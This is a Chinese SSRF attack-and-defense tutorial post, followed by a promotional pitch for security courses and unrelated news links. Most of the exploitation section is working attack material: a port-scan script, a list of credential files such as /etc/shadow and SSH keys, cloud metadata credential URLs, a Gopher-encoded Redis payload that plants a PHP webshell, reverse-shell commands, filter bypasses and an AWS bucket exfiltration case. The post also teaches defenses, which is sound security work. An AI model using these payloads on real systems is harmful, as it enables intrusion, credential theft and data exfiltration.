SSRF服务器端请求伪造漏洞攻防指南:从原理到实战的保姆级教程,网安必看!
一、什么是SSRF漏洞SSRFServer-Side Request Forgery服务器端请求伪造是指攻击者通过构造恶意请求诱使服务器端应用程序向攻击者指定的目标地址发起请求。由于请求是从服务器内部发出攻击者可以利用SSRF访问内网资源、读取敏感文件、攻击内网服务甚至实现远程代码执行。SSRF是近年来企业安全中危害最大的漏洞类型之一在各类SRC安全应急响应中心漏洞报告中均为高危漏洞。SSRF的危害危害等级具体影响实例说明内网探测探测内网存活主机和端口端口扫描获取内网拓扑读取敏感文件利用file协议读取系统文件读取/etc/passwd、配置文件攻击内网服务利用服务器访问内网服务攻击Redis、MySQL、WebLogic等远程代码执行利用Gopher协议构造恶意请求Redis未授权写Shell、FastCGI RCE云平台利用利用元数据服务获取凭据AWS/阿里云元数据获取临时凭据穿透防火墙从内部突破网络隔离利用SSRF访问被隔离的内网区域二、SSRF漏洞原理存在漏洞的代码?php// 图片代理功能 - 用户传入URL服务器请求并返回内容$url$_GET[url];// 无任何过滤直接请求用户传入的URL$contentfile_get_contents($url);header(Content-Type: image/jpeg);echo$content;?正常使用http://target.com/proxy.php?urlhttp://cdn.example.com/image.jpg漏洞利用# 1. 读取本地文件http://target.com/proxy.php?urlfile:///etc/passwd# 2. 探测内网http://target.com/proxy.php?urlhttp://192.168.1.1:80# 3. 访问云元数据http://target.com/proxy.php?urlhttp://169.254.169.254/latest/meta-data/# 4. 攻击内网Redishttp://target.com/proxy.php?urlgopher://192.168.1.10:6379/...常见SSRF场景场景参数示例说明图片/文件代理?urlhttp://xxx.com/img.jpg图片加载、文件下载代理WebhookPOST body中包含URL钉钉/企业微信/Slack通知URL预览?urlhttp://xxx.com链接预览、卡片生成PDF生成?urlhttp://xxx.com/page网页转PDF文档导入?urlhttp://xxx.com/doc远程文档导入API网关?targethttp://internal-apiAPI聚合/转发DNS解析?domainxxx.com域名解析/WHOIS查询三、SSRF利用方式1. 内网端口扫描通过SSRF探测内网服务的开放端口根据响应时间和状态码判断。# SSRF端口扫描脚本importrequestsimportconcurrent.futures targethttp://target.com/proxy.phpports[21,22,80,443,445,1433,3306,6379,8080,8443,9200]defscan_port(port):try:urlf{target}?urlhttp://127.0.0.1:{port}rrequests.get(url,timeout5)# 根据响应长度和状态码判断端口是否开放iflen(r.text)0andr.status_code200:returnfPort{port}: OPEN (Length:{len(r.text)})except:passreturnfPort{port}: CLOSEDwithconcurrent.futures.ThreadPoolExecutor(max_workers10)asexecutor:resultslist(executor.map(scan_port,ports))forrinresults:print(r)2. 读取本地敏感文件利用file://协议读取服务器本地文件。# Linux系统 file:///etc/passwd file:///etc/shadow file:///etc/hosts file:///proc/self/environ file:///var/log/apache2/access.log file:///root/.ssh/id_rsa file:///home/user/.bash_history # Windows系统 file:///C:/Windows/win.ini file:///C:/Windows/System32/config/SAM file:///C:/inetpub/wwwroot/web.config file:///C:/Users/Administrator/.ssh/id_rsa3. 云平台元数据利用通过SSRF访问云平台的元数据服务获取临时凭据。# AWS元数据http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME# 获取AccessKey、SecretKey、Token# 阿里云元数据http://100.100.100.200/latest/meta-data/ http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME# 腾讯云元数据http://metadata.tencentyun.com/latest/meta-data/ http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ROLE_NAME# GCP元数据http://metadata.google.internal/computeMetadata/v1/# 需要添加请求头: Metadata-Flavor: Google4. 利用Gopher协议攻击内网RedisGopher协议可以构造任意TCP数据包是最强大的SSRF利用协议。# 构造Redis未授权写入Shell的Payloadimporturllib.parse# Redis命令commands[FLUSHALL,SET payload ?php eval($_POST[cmd]);?,CONFIG SET dir /var/www/html,CONFIG SET dbfilename shell.php,SAVE,]# 构造Redis协议数据payloadforcmdincommands:payloadf*1\r\n${len(cmd)}\r\n{cmd}\r\n# URL编码encodedurllib.parse.quote(payload)# 构造Gopher URLgopher_urlfgopher://127.0.0.1:6379/_{encoded}print(gopher_url)# 通过SSRF发送http://target.com/proxy.php?urlgopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0AFLUSHALL%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$7%0D%0Apayload%0D%0A$28%0D%0A%3C%3Fphp%20eval(%24_POST%5Bcmd%5D)%3B%3F%3E%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$10%0D%0Adbfilename%0D%0A$10%0D%0Ashell.php%0D%0A*1%0D%0A$4%0D%0ASAVE%0D%0A5. 利用Gopher协议攻击MySQL# 构造MySQL查询Payloadimporturllib.parse# MySQL协议需要先发送认证包# 然后发送查询命令querySELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php# 构造MySQL协议数据包需要知道用户名和密码# 使用Gopherus工具自动生成# python3 gopherus.py --exploit mysql6. 利用Gopher协议攻击FastCGI# Gopherus生成FastCGI Payloadpython3 gopherus.py--exploitfastcgi# 输入: /var/www/html/index.php# 输入命令: bash -c bash -i /dev/tcp/192.168.1.100/4444 01# 生成Gopher URL# 通过SSRF触发7. 利用dict协议dict协议可以探测端口和执行部分命令。# 探测端口 dict://127.0.0.1:6379/info dict://127.0.0.1:11211/stats # Redis信息探测 dict://127.0.0.1:6379/info dict://127.0.0.1:6379/config:get:dir四、SSRF绕过技巧1. IP地址绕过# 过滤了127.0.0.1# 使用十进制IPhttp://2130706433/# 127.0.0.1的十进制http://0x7f000001/# 127.0.0.1的十六进制http://017700000001/# 127.0.0.1的八进制# 使用IPv6http://[::1]/ http://[::ffff:127.0.0.1]/ http://[0:0:0:0:0:0:0:1]/# 使用其他形式表示127.0.0.1http://127.0.0.1/ http://127.1/# 简写http://127.0.1/# 简写http://0/# 0.0.0.0http://0.0.0.0/# 本机所有网卡http://localhost/ http://localtest.me/# 解析到127.0.0.1# DNS重绑定# 将域名解析到内网IP# 例如: www.attacker.com → 127.0.0.12. URL编码绕过# URL编码 http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31 http://localhost → http://%6c%6f%63%61%6c%68%6f%73%74 # 双重URL编码 http://127.0.0.1 → http://%25%33%31%25%33%32%25%33%373. 协议绕过# 使用不同协议 http:// → dict://、gopher://、file://、ldap://、tftp:// # 协议组合 file:///etc/passwd dict://127.0.0.1:6379/info gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0ainfo%0d%0a ldap://127.0.0.1:1389 tftp://127.0.0.1:69/test4. 302跳转绕过当目标服务器过滤了内网IP但允许跟随重定向时利用302跳转绕过。# 1. 在自己服务器上设置302跳转# Apache .htaccessRewriteEngine On RewriteRule ^redirect$ http://127.0.0.1/[R302,L]# 或使用短链接服务# 如 http://bit.ly/xxx → 302 → http://127.0.0.1/# 2. 通过SSRF访问跳转URLhttp://target.com/proxy.php?urlhttp://attacker.com/redirect# 服务器请求attacker.com → 302跳转 → 请求127.0.0.15. DNS重绑定绕过DNS重绑定DNS Rebinding是最强大的SSRF绕过技巧通过两次DNS查询返回不同IP实现绕过。# DNS重绑定原理# 1. 攻击者设置自定义DNS服务器# 2. 第一次DNS查询返回攻击者公网IP通过IP白名单检查# 3. 第二次DNS查询返回127.0.0.1实际请求内网# 4. 服务器跟随第二次解析结果请求内网# 工具rebind# https://github.com/brannondorsey/ipv4-heatmap# 或使用在线服务# http://ceye.io/# https://rbndr.io/6. 符号绕过# URL中符号前的内容会被忽略 http://www.attacker.com127.0.0.1/ # 实际请求的是127.0.0.1 # 但如果只检查URL开头会以为是attacker.com五、SSRF检测方法1. 黑盒检测# 使用SSRFmap自动检测python3 ssrfmap.py-rrequest.txt-purl-mredis# 使用Gopherus生成Payloadpython3 gopherus.py--exploitredis python3 gopherus.py--exploitmysql python3 gopherus.py--exploitfastcgi python3 gopherus.py--exploitsmtp# 使用BurpSuite Collaborator检测带外请求# 1. 生成Collaborator地址# 2. 在URL参数中填入# 3. 检查是否收到DNS/HTTP请求2. 白盒审计// PHP危险函数file_get_contents()curl_exec()fsockopen()fopen()readfile()iconv()get_headers()// Java危险函数URL.openConnection()URL.openStream()HttpClient.execute()RestTemplate.getForObject()ImageIO.read()# Python危险函数requests.get()urllib.request.urlopen()urllib2.urlopen()pycurl.perform()六、SSRF防御方案1. URL白名单?php// 白名单验证$whitelist[cdn.example.com,img.example.com];$hostparse_url($url,PHP_URL_HOST);if(!in_array($host,$whitelist)){die(URL不在白名单中);}// 执行请求$contentfile_get_contents($url);?2. IP地址校验importipaddressimportsocketdefis_safe_url(url):检查URL是否安全parsedurlparse(url)# 只允许http/https协议ifparsed.schemenotin[http,https]:returnFalse# 解析域名对应的IPtry:ipsocket.gethostbyname(parsed.hostname)except:returnFalse# 检查IP是否为内网地址ip_objipaddress.ip_address(ip)# 禁止内网IPifip_obj.is_privateor\ ip_obj.is_loopbackor\ ip_obj.is_link_localor\ ip_obj.is_reserved:returnFalse# 禁止元数据服务地址ifipin[169.254.169.254,100.100.100.200]:returnFalsereturnTrue# 使用示例urlrequest.GET.get(url)ifis_safe_url(url):responserequests.get(url)else:returnHttpResponse(Forbidden,status403)3. 禁用危险协议// Java - 限制协议URLurlnewURL(input);Stringprotocolurl.getProtocol();if(!http.equals(protocol)!https.equals(protocol)){thrownewSecurityException(只允许HTTP/HTTPS协议);}// 禁用file、gopher、dict、ldap等协议4. DNS解析后验证# 关键防御解析DNS后验证IP防止DNS重绑定importsocketdefsafe_request(url):parsedurlparse(url)hostnameparsed.hostname# 第一次DNS解析ipsocket.gethostbyname(hostname)# 验证IPifis_internal_ip(ip):raiseValueError(禁止访问内网IP)# 关键使用解析到的IP直接请求不再次DNS解析# 修改Host头保持原始域名headers{Host:hostname}responserequests.get(fhttp://{ip}{parsed.path},headersheaders,timeout5)returnresponse5. 网络隔离# 服务器最小化网络权限# Web服务器不应能访问内网其他服务器# 在防火墙上限制Web服务器的出站流量# iptables限制iptables-AOUTPUT-oeth0-d192.168.0.0/16-jDROP iptables-AOUTPUT-oeth0-d10.0.0.0/8-jDROP iptables-AOUTPUT-oeth0-d172.16.0.0/12-jDROP iptables-AOUTPUT-oeth0-d169.254.169.254-jDROP七、SSRF实战案例案例一图片加载SSRF到Redis RCE# 1. 发现SSRF漏洞# URL: http://target.com/fetch?urlhttp://xxx.com/image.jpg# 2. 探测内网http://target.com/fetch?urlhttp://192.168.1.0/24# 发现192.168.1.10开放6379端口Redis# 3. 使用Gopherus生成Redis Payloadpython3 gopherus.py--exploitredis# 输入Web目录: /var/www/html# 输入命令: php -r $sockfsockopen(192.168.1.100,4444);exec(/bin/bash -i 3 3 23);# 4. 通过SSRF触发http://target.com/fetch?urlgopher://192.168.1.10:6379/_*1%0D%0A$8%0D%0AFLUSHALL...# 5. 访问写入的Shellhttp://target.com/shell.php# 获取反弹Shell案例二AWS元数据获取凭据# 1. 发现SSRFhttp://target.com/proxy?urlhttp://169.254.169.254/latest/meta-data/# 2. 获取IAM角色名http://target.com/proxy?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/# 返回: S3AccessRole# 3. 获取临时凭据http://target.com/proxy?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/S3AccessRole# 返回: AccessKeyId、SecretAccessKey、Token# 4. 使用凭据操作AWSaws s3ls--access-key ASIA... --secret-access-key... --session-token... aws s3cps3://company-secrets/.--recursive--access-key ASIA... --secret-access-key...八、SSRF工具汇总工具名称功能适用场景SSRFmapSSRF漏洞利用自动化SSRF检测和利用GopherusGopher Payload生成生成Redis/MySQL/FastCGI Payloadssrf-sheriffSSRF检测自动化SSRF漏洞扫描Burp Collaborator带外检测检测无回显的SSRFrequestbin请求接收验证SSRF是否触发CEYEDNS/HTTP日志带外数据接收平台interact.shOOB交互检测带外通信检测总结SSRF是Web安全中危害极大的漏洞类型可以突破网络边界、访问内网服务、获取云凭据甚至实现远程代码执行。本文从漏洞原理、利用方式、绕过技巧到防御方案进行了系统讲解建议结合实战靶场进行练习。学习资源2026年最新版本全网最全的网安视频教程。耗时半年打造之前都是内部资源专业方面绝对可以秒杀国内99%的机构和个人教学全网独一份你不可能在网上找到这么专业的教程。内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识而且包含了中级的各种渗透技术并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频200多G的资源不用担心学不全。包含攻击与防守、漏洞挖掘、CTF比赛等技术点1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群一、基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期二、能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传戳下面拿这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源————————————————

相关新闻

OpenDM到底强在哪?LIBERO、RoboTwin2.0、VLA-Arena五大基准与Pi0/GROOT全方位对比(VLA机器人基础模型评测指南)

OpenDM到底强在哪?LIBERO、RoboTwin2.0、VLA-Arena五大基准与Pi0/GROOT全方位对比(VLA机器人基础模型评测指南)

OpenDM到底强在哪?LIBERO、RoboTwin2.0、VLA-Arena五大基准与Pi0/GROOT全方位对比(VLA机器人基础模型评测指南) 【免费下载链接】opendm An Open-World Foundation Model for General-Purpose Embodied Intelligence. 项目地址: https://gi…

2026/10/13 17:09:58 阅读更多 →
AI Agent 工程实践:七要素与七个决策点,用FastAPI+LangChain+LangGraph落地

AI Agent 工程实践:七要素与七个决策点,用FastAPI+LangChain+LangGraph落地

1. 先想清楚:AI Agent 的七要素到底是什么很多刚接触 AI Agent 的朋友,拿到手第一件事就是去查 LangChain 文档,或者直接看 LangGraph 的例子,然后照着抄一个 demo。这个路子不能说错,但很容易让你陷入"框架思维&…

2026/10/11 10:18:00 阅读更多 →
《小猪快跑》小游戏

《小猪快跑》小游戏

游戏代码:# -*- coding: utf-8 -*- """《小猪快跑》桌面版启动器:用系统 WebView2(Edge) 内核加载游戏页面。""" import os import sys import webviewdef resource_path(name):base getattr(sys, _MEIPASS, None) or os…

2026/10/12 17:59:38 阅读更多 →

最新新闻

荷兰耕地遥感语义分割:从数据标注到模型训练全流程实战

荷兰耕地遥感语义分割:从数据标注到模型训练全流程实战

简介:这份荷兰耕地语义分割遥感影像数据集面向遥感图像处理、计算机视觉与农业监测方向的研究者和开发者,用于训练和验证耕地识别与像素级分割模型。资源包共2000个文件,以xml标注文件为主要类型,对应每张遥感影像的像素级类别标签…

2026/10/13 17:09:08 阅读更多 →
LiteLLM:统一LLM API抽象层实战指南

LiteLLM:统一LLM API抽象层实战指南

1. 项目概述:LiteLLM 是什么,它解决的到底是什么问题? LiteLLM 这个名字乍一听像是某个轻量级编程语言或小众框架,但其实它是一个在大模型应用开发圈子里迅速走红的开源工具库——准确地说,它是一个 统一 API 抽象层…

2026/10/13 17:09:08 阅读更多 →
GitHub日榜不是流量快照,而是可工程化的情报系统

GitHub日榜不是流量快照,而是可工程化的情报系统

1. 这不是“榜单搬运工”,而是一套可复用的 GitHub 热榜日更方法论你点开 GitHub Trending 页面,看到“Today”标签下那排滚动更新的项目——Star 数飙升、语言栏跳动、描述简短却抓人。很多人以为这只是平台自动聚合的“流量快照”,随手点开…

2026/10/13 17:09:08 阅读更多 →
MySQL 8.0.18 本地开发环境搭建与 SQLyog 连接配置实战指南

MySQL 8.0.18 本地开发环境搭建与 SQLyog 连接配置实战指南

1. 为什么本地开发环境首选 MySQL 8.0.18 搭配 SQLyog1.1 版本选型的现实考量MySQL 8.0.18 这个版本在本地开发环境里算是一个比较特殊的存在。它发布于 2019 年底,属于 8.0 系列早期比较稳定的一个版本,既包含了 8.0 大版本带来的窗口函数、CTE&#xf…

2026/10/13 17:09:08 阅读更多 →
C/C++头文件依赖可视化:用gcc-M和Graphviz生成可审计依赖图

C/C++头文件依赖可视化:用gcc-M和Graphviz生成可审计依赖图

1. 为什么C/C项目里“谁依赖谁”总在编译失败后才暴露?我第一次接手一个二十万行的嵌入式图像处理模块时,就栽在这上面。改了三行头文件里的宏定义,make直接报错:error: struct pixel_buffer has no member named stride。奇怪的是…

2026/10/13 17:09:08 阅读更多 →
从零手搓投资Agent:百亿token金融文本的智能决策系统

从零手搓投资Agent:百亿token金融文本的智能决策系统

1. 项目概述1.1 从零手搓投资Agent的动机先说背景。我们团队在开发这套系统之前,已经用传统量化策略跑了将近两年,规则引擎、因子库、事件驱动框架都搭过一遍,但遇到一个很难绕过去的坎:传统策略对“非结构化信息”的处理能力几乎…

2026/10/13 17:08:08 阅读更多 →

日新闻

物联网系统集成避坑指南:从选型到验收的关键要点

物联网系统集成避坑指南:从选型到验收的关键要点

做了这么多年物联网系统集成的项目,我最大的感受是,大部分坑不是出在技术前沿,而是出在一些看起来很平常的地方。设备选了便宜的、协议没问清楚、现场没摸透、验收标准写得含糊——这些细枝末节,最后都会变成延期、超支和扯皮的大…

2026/10/13 0:00:57 阅读更多 →
ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

如果你玩ESP32有一阵子了,很难不碰到舵机控制这道坎。做智能小车要转方向,做机械臂要抬关节,做云台要偏航俯仰,背后都是同一个东西在干活:舵机。而我见过太多人卡在“代码能编译、舵机就是不听话”这个阶段&#xff0c…

2026/10/13 0:00:57 阅读更多 →
CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

1. 为什么CAN总线至今仍是工业现场的“硬通货”?——从汽车底盘到智能温室的真实需求你有没有拆过一辆老款燃油车的中控台?或者调试过某高校实验室里那台跑着Modbus协议却频频丢帧的PLC控制柜?又或者,在某个农业物联网项目里&…

2026/10/13 0:00:57 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/13 2:54:56 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/13 16:22:04 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/13 1:58:08 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 21:05:09 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 14:57:39 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 18:11:17 阅读更多 →